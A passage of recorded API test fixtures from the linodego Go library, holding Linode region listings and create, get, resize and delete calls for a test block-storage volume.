5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:00:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 4979055, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:00:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "100" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/4979055 method: GET response: body: '{"id": 4979055, "status": "active", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "316" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:00:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"size":21}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/4979055/resize method: POST response: body: '{"id": 4979055, "status": "resizing", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 21, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:00:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/4979055 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:00:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVolume_Update.yaml000066400000000000000000000641241474652371000310700ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 